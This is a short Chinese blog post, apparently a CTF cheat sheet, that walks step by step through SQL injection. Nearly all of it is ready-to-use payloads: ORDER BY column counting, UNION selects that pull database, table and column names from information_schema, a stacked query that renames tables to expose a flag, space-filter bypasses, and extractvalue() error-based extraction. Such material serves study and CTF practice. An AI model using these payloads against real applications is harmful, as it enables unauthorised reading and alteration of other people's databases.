SQL注入攻击

本文最后更新于 2025年1月24日 下午

SQL注入攻击

1. 注入点识别

  • POST请求:使用 # 注释符,最好用 %23 代替。
  • GET请求:使用 --+ 注释符。
  • ID错误:使用错误的ID以覆盖回显。

2. 确定列数

使用以下语句通过判断有无报错来确定列数:

1
2
3
1' order by 1#
1' order by 2#
1' order by 3#

3. 判断回显位

使用以下语句判断回显位:

1
1' union select 1,2,3#

4. 获取数据库名

database() 放到回显位,其余位置用 '' 代替:

1
1' union select '','',database()#

1
1' union select '','',database()'

5. 获取数据表名

使用以下语句获取数据库下的所有数据表名:

1
1' union select '','',table_name from information_schema.tables where table_schema='news'#

如果有多个数据表,使用 group_concat(table_name)

1
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23

6. 获取字段名

使用以下语句获取某个表的所有字段名:

1
1' union select '','',group_concat(column_name) from information_schema.columns where table_name='secret_table'#

7. 获取表内容

使用以下语句获取表内容:

1
1' union select '','',group_concat(fl4g) from secret_table#

8. 使用 LIMIT 获取特定数据

使用 LIMIT 获取特定数据:

1
1' union select '','',group_concat(fl4g) from secret_table limit 3,1#

9. 改名操作

猜测回显的数据库表字段,改变表名使回显到 flag 字段:

1
1';alter table words rename words1; alter table `1919810931114514` rename words; alter table words change flag id varchar(100);#

使用以下语句得到回显:

1
1' or 1;#

10. 空格绕过

使用 /**/ 代替空格或使用 ()() 两边不用空格:

1
where(1=1)

11. 报错注入

11.1 extractvalue() 报错注入

extractvalue() 函数用于从XML文档中提取数据。通过构造错误的XPath表达式,可以触发报错并获取信息。

1
extractvalue(null, concat(0x7e, database()));

11.2 为什么使用 0x7e

0x7e 是ASCII码中的 ~ 符号,XPath语法不支持该符号,因此总能触发报错。其他不支持的字符如 ! 也可以使用。

1
extractvalue(null, concat(0x7e, database()));

11.3 其他报错注入方法

使用其他不支持的字符也可以达到同样的效果:

1
extractvalue(null, concat('!', database()));

SQL注入攻击
http://page.ccnyy.top/2025/01/21/sql注入/
作者
ccnyy
发布于
2025年1月21日
更新于
2025年1月24日
许可协议